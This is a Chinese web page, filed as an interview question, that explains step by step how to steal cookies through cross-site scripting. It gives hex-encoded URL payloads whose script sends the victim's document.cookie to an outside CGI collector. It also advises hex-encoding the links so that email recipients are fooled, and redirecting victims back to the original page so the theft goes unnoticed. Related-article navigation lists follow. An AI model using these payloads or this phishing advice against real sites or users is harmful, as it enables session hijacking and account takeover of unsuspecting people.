能否解释一下XSS cookie盗窃是什么意思


Posted in 面试题 onJune 02, 2012
根据作为攻击对象的Web程序,下面某些变量和插入位置可能需要进行调整。要注意这只是攻击方法的一个例子。在这个例子中,我们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞,通过正常请求进行攻击。这是跨站脚本攻击最常见的形式。
第一步: 锁定目标

当你找到某个Web程序存在XSS漏洞之后,检查一下它是否设置了cookie。如果在该网站的任何地方设置了cookie,那么就可以从用户那里盗取它。
第二步: 测试

不同的攻击方式将产生不同的XSS漏洞,所以应适当进行测试以使得输出结果看起来像是正常的。某些恶意脚本插入之后会破坏输出的页面。(为欺骗用户,输出结果非常重要,因此攻击者有必要调整攻击代码使输出看起来正常。)

下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript(或其他客户端脚本)。下面列出了一些经常用于测试XSS漏洞的链接。当用户点击这些链接时,用户的cookie奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示。如果你看到显示结果中包含了cookie信息,说明可能可以劫持该用户的账户。

盗取Cookie的Javascript示例。使用方法如下。

ASCII用法

http://host/a.php?variable=”>

十六进制用法

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f

%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

注意: 每种用法都先写为ASCII,再写成十六进制以便复制粘贴。

1. “>

HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

2.

HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e

3. >

HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e

第三步: 执行XSS

将做好的URL通过电子邮件或其他方式发送出去。注意如果你直接将URL发送给其他人(通过电子邮件、即时通讯软件或其他方式),你应当将其进行十六进制编码,因为这些URL一眼便可看出包含恶意代码,但经过十六进制编码之后就可以欺骗大部分人。
第四步: 处理收集到的信息

一旦用户点击了你的URL,相应数据就会被发送到你的CGI脚本中。这样你就获得了 cookie信息,然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户。

在上面的例子中,我们仅仅将用户带到了 cookie.cgi页面上。如果你有时间,你可以在CGI中将用户重定向到原来的页面上,即可在用户不知不觉之中盗取信息。

某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。即使像Hotmail这样的大型网站也是如此,不过它对附件内容作了许多过滤以避免cookie被盗。

Tags in this post...

面试题 相关文章推荐
PHP面试题大全
Oct 16 面试题
某个公司的Java笔面试题
Mar 11 面试题
在C语言中"指针和数组等价"到底是什么意思?
Mar 24 面试题
C语言变量的命名规则都有哪些
Dec 27 面试题
华为慧通笔试题
Apr 22 面试题
哪些情况下不应该使用索引
Jul 20 面试题
你对IPv6了解程度
Feb 09 面试题
TCP/IP的分层模型
Oct 27 面试题
亿企通软件测试面试题
Apr 10 面试题
如何用JQuery进行表单验证
May 29 面试题
MYSQL基础面试题
May 13 面试题
J2EE面试题
Mar 14 面试题
什么是跨站脚本攻击
Dec 11 #面试题
金士达面试非笔试
Mar 14 #面试题
傲盾软件面试题
Aug 17 #面试题
网络安全类面试题
Aug 01 #面试题
如何保障Web服务器安全
May 05 #面试题
介绍一下如何利用路径遍历进行攻击及如何防范
Jan 19 #面试题
SQL注入攻击的种类有哪些
Dec 30 #面试题
You might like
PHPMailer发送HTML内容、带附件的邮件实例
2014/07/01 PHP
PHP合并静态文件详解
2014/11/14 PHP
PHP二维索引数组的遍历实例分析【2种方式】
2019/06/24 PHP
PHP实现微信公众号验证Token的示例代码
2019/12/16 PHP
贴一个在Mozilla中常用的Javascript代码
2007/01/09 Javascript
(仅IE下有效)关于checkbox 三态
2007/05/12 Javascript
JS延迟加载(setTimeout) JS最后加载
2010/07/15 Javascript
GitHub上一些实用的JavaScript的文件压缩解压缩库推荐
2016/03/13 Javascript
webpack中引用jquery的简单实现
2016/06/08 Javascript
vuejs父子组件之间数据交互详解
2017/08/09 Javascript
vue.js如何将echarts封装为组件一键使用详解
2017/10/10 Javascript
Vue项目webpack打包部署到Tomcat刷新报404错误问题的解决方案
2018/05/15 Javascript
Vue开发之封装上传文件组件与用法示例
2019/04/25 Javascript
JS相册图片抖动放大展示效果的示例代码
2021/01/29 Javascript
用Python实现web端用户登录和注册功能的教程
2015/04/30 Python
基于python中theano库的线性回归
2018/08/31 Python
python自动发邮件总结及实例说明【推荐】
2019/05/31 Python
Python实现名片管理系统
2020/02/14 Python
pytorch实现CNN卷积神经网络
2020/02/19 Python
基于Python正确读取资源文件
2020/09/14 Python
解决Ubuntu18中的pycharm不能调用tensorflow-gpu的问题
2020/09/17 Python
eDreams澳大利亚:预订机票、酒店和度假产品
2017/04/19 全球购物
Origins悦木之源英国官网:雅诗兰黛集团高端植物护肤品牌
2017/11/06 全球购物
介绍一下linux的文件权限
2012/02/15 面试题
环境工程大学生自荐信
2013/10/21 职场文书
应用数学专业求职信
2014/03/14 职场文书
党支部公开承诺践诺书
2014/03/28 职场文书
2014年社区重阳节活动策划方案
2014/09/16 职场文书
无财产离婚协议书范本
2014/10/28 职场文书
2014年保育员个人工作总结
2014/12/02 职场文书
个人总结与自我评价
2015/02/14 职场文书
大学生年度个人总结
2015/02/15 职场文书
2015毕业实习推荐信
2015/03/23 职场文书
舞出我人生观后感
2015/06/16 职场文书
分布式锁为什么要选择Zookeeper而不是Redis?看完这篇你就明白了
2021/05/21 Redis
使用CSS连接数据库的方式
2022/02/28 HTML / CSS